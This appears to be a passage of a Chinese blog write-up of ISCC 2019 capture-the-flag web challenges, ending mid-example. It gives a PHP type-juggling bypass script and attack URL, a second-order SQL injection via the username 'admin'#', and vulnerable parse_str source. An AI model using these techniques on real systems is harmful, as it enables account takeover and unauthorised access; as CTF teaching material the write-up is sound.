										<content:encoded><![CDATA[<h1 class="md-end-block md-heading md-focus"><span class="md-plain md-expand">web1</span></h1>
<p><span class="md-plain">题目地址：</span><span class="md-link"><a spellcheck="false" href="http://39.100.83.188:8002/" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">http://39.100.83.188:8002/</span></a></span></p>
<p><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190501180858.png"><img src="https://y4er.com/img/uploads/20190501180858.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190501181040.png"><img src="https://y4er.com/img/uploads/20190501181040.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p><span class="md-plain">删掉cookie和code字段提示</span><span spellcheck="false"><code>密码错误</code></span></p>
<p><span class="md-plain">burp爆破3位数字</span></p>
<p><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190501181505.png"><img src="https://y4er.com/img/uploads/20190501181505.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">web2</span></h1>
<p><span class="md-plain">题目地址: </span><span class=" md-link"><a spellcheck="false" href="http://39.100.83.188:8001/" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">http://39.100.83.188:8001/</span></a></span></p>
<div id="crayon-5d0fe351b3be0627050908" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-17">17</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3be0627050908-1" class="crayon-line"><span class="crayon-o">&lt;</span><span class="crayon-sy">?</span><span class="crayon-e">php</span></div>
<div id="crayon-5d0fe351b3be0627050908-2" class="crayon-line crayon-striped-line"><span class="crayon-e">error_reporting</span><span class="crayon-sy">(</span><span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-3" class="crayon-line"><span class="crayon-i">require</span> <span class="crayon-s">&#8216;flag.php&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-4" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">value</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;value&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-5" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">password</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;password&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-6" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">username</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-7" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3be0627050908-8" class="crayon-line crayon-striped-line"><span class="crayon-st">for</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">i</span> <span class="crayon-o">=</span> <span class="crayon-cn">0</span><span class="crayon-sy">;</span> <span class="crayon-sy">$</span><span class="crayon-v">i</span> <span class="crayon-o">&lt;</span> <span class="crayon-e">count</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span> <span class="crayon-o">++</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3be0627050908-9" class="crayon-line">  <span class="crayon-st">if</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span> <span class="crayon-o">&gt;</span> <span class="crayon-cn">32</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span> <span class="crayon-o">&lt;</span> <span class="crayon-cn">127</span><span class="crayon-sy">)</span> <span class="crayon-e">unset</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-10" class="crayon-line crayon-striped-line">  <span class="crayon-st">else</span> <span class="crayon-sy">$</span><span class="crayon-i">username</span> <span class="crayon-sy">.</span><span class="crayon-o">=</span> <span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-11" class="crayon-line">  <span class="crayon-st">if</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">username</span> <span class="crayon-o">==</span> <span class="crayon-s">&#8216;w3lc0me_To_ISCC2019&#8217;</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">password</span><span class="crayon-sy">)</span> <span class="crayon-o">&lt;</span> <span class="crayon-cn">2333</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">password</span> <span class="crayon-o">+</span> <span class="crayon-cn">1</span><span class="crayon-sy">)</span> <span class="crayon-o">&gt;</span> <span class="crayon-cn">2333</span><span class="crayon-sy">)</span> <span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3be0627050908-12" class="crayon-line crayon-striped-line">    <span class="crayon-i">echo</span> <span class="crayon-s">&#8216;Hello &#8216;</span><span class="crayon-sy">.</span><span class="crayon-sy">$</span><span class="crayon-v">username</span><span class="crayon-sy">.</span><span class="crayon-s">&#8216;!&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8216;&lt;br&gt;&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-v">PHP_EOL</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-13" class="crayon-line">    <span class="crayon-i">echo</span> <span class="crayon-sy">$</span><span class="crayon-v">flag</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8216;&lt;hr&gt;&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-14" class="crayon-line crayon-striped-line"> <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3be0627050908-15" class="crayon-line"><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3be0627050908-16" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3be0627050908-17" class="crayon-line"><span class="crayon-e">highlight_file</span><span class="crayon-sy">(</span><span class="crayon-v">__FILE__</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">要求满足</span></p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">username=&#8217;w3lc0me_To_ISCC2019&#8242;</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">输入的vaule不在ascii码可见范围内</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">intval($password) &lt; 2333 &amp;&amp; intval($password + 1) &gt; 2333</span></p>
</li>
</ol>
<p class="md-end-block md-p"><span class="md-plain">考点在于弱类型和类型转换</span></p>
<p class="md-end-block md-p"><span class="md-plain">查阅chr()相关函数</span></p>
<div id="crayon-5d0fe351b3bea629500931" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bea629500931-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bea629500931-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bea629500931-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bea629500931-1" class="crayon-line"><span class="crayon-e">Note </span><span class="crayon-e">that </span><span class="crayon-st">if</span> <span class="crayon-e">the </span><span class="crayon-e">number </span><span class="crayon-st">is</span> <span class="crayon-e">higher </span><span class="crayon-i">than</span> <span class="crayon-cn">256</span><span class="crayon-sy">,</span> <span class="crayon-e">it </span><span class="crayon-e">will </span><span class="crayon-st">return</span> <span class="crayon-e">the </span><span class="crayon-e">number </span><span class="crayon-i">mod</span> <span class="crayon-cn">256.</span></div>
<div id="crayon-5d0fe351b3bea629500931-2" class="crayon-line crayon-striped-line"><span class="crayon-st">For</span> <span class="crayon-v">example</span> <span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3bea629500931-3" class="crayon-line"><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-cn">321</span><span class="crayon-sy">)</span><span class="crayon-o">=</span><span class="crayon-i">A</span> <span class="crayon-i">because</span> <span class="crayon-v">A</span><span class="crayon-o">=</span><span class="crayon-cn">65</span><span class="crayon-sy">(</span><span class="crayon-cn">256</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">chr()自动mod256</span></p>
<p class="md-end-block md-p"><span class="md-plain">那么构造我们的脚本生成payload</span></p>
<div id="crayon-5d0fe351b3bed615521032" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bed615521032-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bed615521032-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bed615521032-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-7">7</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bed615521032-1" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">payload</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;w3lc0me_To_ISCC2019&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bed615521032-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">payload1</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bed615521032-3" class="crayon-line"><span class="crayon-st">for</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-o">=</span><span class="crayon-cn">0</span><span class="crayon-sy">;</span> <span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-o">&lt;</span><span class="crayon-e">strlen</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">payload</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span> <span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-o">++</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bed615521032-4" class="crayon-line crayon-striped-line"><span class="crayon-c">//    echo $username1[$i].'&lt;br&gt;&#8217;;</span></div>
<div id="crayon-5d0fe351b3bed615521032-5" class="crayon-line">  <span class="crayon-sy">$</span><span class="crayon-v">payload1</span><span class="crayon-sy">.</span><span class="crayon-o">=</span> <span class="crayon-s">&#8216;&amp;value[]=&#8217;</span><span class="crayon-sy">.</span><span class="crayon-sy">(</span><span class="crayon-cn">256</span><span class="crayon-o">+</span><span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">payload</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bed615521032-6" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bed615521032-7" class="crayon-line"><span class="crayon-i">echo</span> <span class="crayon-sy">$</span><span class="crayon-v">payload1</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">password就用进制绕过</span></p>
<p class="md-end-block md-p"><span class="md-plain">2334的hex是0x91e</span></p>
<div id="crayon-5d0fe351b3bef391968227" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bef391968227-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bef391968227-2">2</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bef391968227-1" class="crayon-line"><span class="crayon-e">echo </span><span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;0x91e&#8217;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span><span class="crayon-h">       </span><span class="crayon-c">//0</span></div>
<div id="crayon-5d0fe351b3bef391968227-2" class="crayon-line crayon-striped-line"><span class="crayon-e">echo </span><span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;0x91e&#8217;</span><span class="crayon-o">+</span><span class="crayon-cn">1</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span><span class="crayon-h">     </span><span class="crayon-c">//2335</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">最后的payload</span></p>
<div id="crayon-5d0fe351b3bf0419226505" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf0419226505-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf0419226505-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//39.100.83.188:8001/?value[]=375&amp;value[]=307&amp;value[]=364&amp;value[]=355&amp;value[]=304&amp;value[]=365&amp;value[]=357&amp;value[]=351&amp;value[]=340&amp;value[]=367&amp;value[]=351&amp;value[]=329&amp;value[]=339&amp;value[]=323&amp;value[]=323&amp;value[]=306&amp;value[]=304&amp;value[]=305&amp;value[]=313&amp;password=0x91e</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h1 class="md-end-block md-heading"><span class="md-plain">web3</span></h1>
<p class="md-end-block md-p"><span class="md-link" spellcheck="false"><a href="http://39.100.83.188:8065/" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8065/</a></span></p>
<p class="md-end-block md-p"><span class="md-plain">title提示二次注入，注入点发生在注册的地方。</span></p>
<p class="md-end-block md-p"><span class="md-plain">注册用户名为</span><span spellcheck="false"><code>admin'#</code></span><span class="md-plain">，然后修改密码，用修改后的密码登录admin账号即可拿到flag</span></p>
<p class="md-end-block md-p"><span class="md-plain">重新写文章的用户名被注册了，我在这注册</span><span spellcheck="false"><code>admin'#</code></span><span class="md-image" data-src="https://y4er.com/img/uploads/20190508163511.png"><img src="https://y4er.com/img/uploads/20190508163511.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">修改密码为a</span><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190508163641.png"><img src="https://y4er.com/img/uploads/20190508163641.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">登录admin用户</span><span class="md-image" data-src="https://y4er.com/img/uploads/20190508163613.png"><img src="https://y4er.com/img/uploads/20190508163613.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">web4</span></h1>
<p class="md-end-block md-p"><span class="md-link" spellcheck="false"><a href="http://39.100.83.188:8066/" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8066/</a></span> <span class="md-plain">源代码</span></p>
<div id="crayon-5d0fe351b3bf2250158932" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-18">18</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-20">20</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-22">22</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-23">23</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-24">24</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf2250158932-1" class="crayon-line"><span class="crayon-ta">&lt;?php</span></div>
<div id="crayon-5d0fe351b3bf2250158932-2" class="crayon-line crayon-striped-line"><span class="crayon-e">error_reporting</span><span class="crayon-sy">(</span><span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-3" class="crayon-line"><span class="crayon-k ">include</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;flag.php&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-4" class="crayon-line crayon-striped-line"><span class="crayon-v">$hashed_key</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-5" class="crayon-line"><span class="crayon-v">$parsed</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_url</span><span class="crayon-sy">(</span><span class="crayon-v">$_SERVER</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;REQUEST_URI&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-6" class="crayon-line crayon-striped-line"><span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-k ">isset</span><span class="crayon-sy">(</span><span class="crayon-v">$parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8220;query&#8221;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-7" class="crayon-line">  <span class="crayon-v">$query</span> <span class="crayon-o">=</span> <span class="crayon-v">$parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8220;query&#8221;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-8" class="crayon-line crayon-striped-line">  <span class="crayon-v">$parsed_query</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_str</span><span class="crayon-sy">(</span><span class="crayon-v">$query</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-9" class="crayon-line">  <span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-v">$parsed_query</span><span class="crayon-o">!=</span><span class="crayon-t">NULL</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-10" class="crayon-line crayon-striped-line">    <span class="crayon-v">$action</span> <span class="crayon-o">=</span> <span class="crayon-v">$parsed_query</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;action&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-11" class="crayon-line"> <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bf2250158932-12" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3bf2250158932-13" class="crayon-line">  <span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-v">$action</span><span class="crayon-o">===</span><span class="crayon-s">&#8220;auth&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-14" class="crayon-line crayon-striped-line">    <span class="crayon-v">$key</span> <span class="crayon-o">=</span> <span class="crayon-v">$_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8220;key&#8221;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-15" class="crayon-line">    <span class="crayon-v">$hashed_input</span> <span class="crayon-o">=</span> <span class="crayon-e">hash</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;sha256&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-v">$key</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-16" class="crayon-line crayon-striped-line">    <span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-v">$hashed_input</span><span class="crayon-o">!==</span><span class="crayon-v">$hashed_key</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-17" class="crayon-line">      <span class="crayon-k ">die</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;&lt;img src=&#8217;cxk.jpg&#8217;&gt;&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-18" class="crayon-line crayon-striped-line">   <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bf2250158932-19" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3bf2250158932-20" class="crayon-line crayon-striped-line">    <span class="crayon-k ">echo</span> <span class="crayon-v">$flag</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-21" class="crayon-line"> <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bf2250158932-22" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span><span class="crayon-st">else</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-23" class="crayon-line">  <span class="crayon-e">show_source</span><span class="crayon-sy">(</span><span class="crayon-k ">__FILE__</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-24" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span><span class="crayon-ta">?&gt;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">通读代码，要求</span></p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">设置query</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">action=auth</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span spellcheck="false"><code>$hashed_input</code></span><span class="md-plain">要等于</span><span spellcheck="false"><code>$hashed_key</code></span></p>
</li>
</ol>
<p class="md-end-block md-p"><span class="md-plain">发现</span><span spellcheck="false"><code>$parsed_query = parse_str($query);</code></span><span class="md-plain">存在变量覆盖</span></p>
<p class="md-end-block md-p"><span class="md-plain">先说下</span><span spellcheck="false"><code>parse_str</code></span><span class="md-plain">为什么会产生变量覆盖，举例</span></p>
<div id="crayon-5d0fe351b3bf4710569863" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf4710569863-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf4710569863-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf4710569863-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf4710569863-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf4710569863-5">5</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf4710569863-1" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">a</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;a&#8217;</span><span class="crayon-sy">;</span></div>
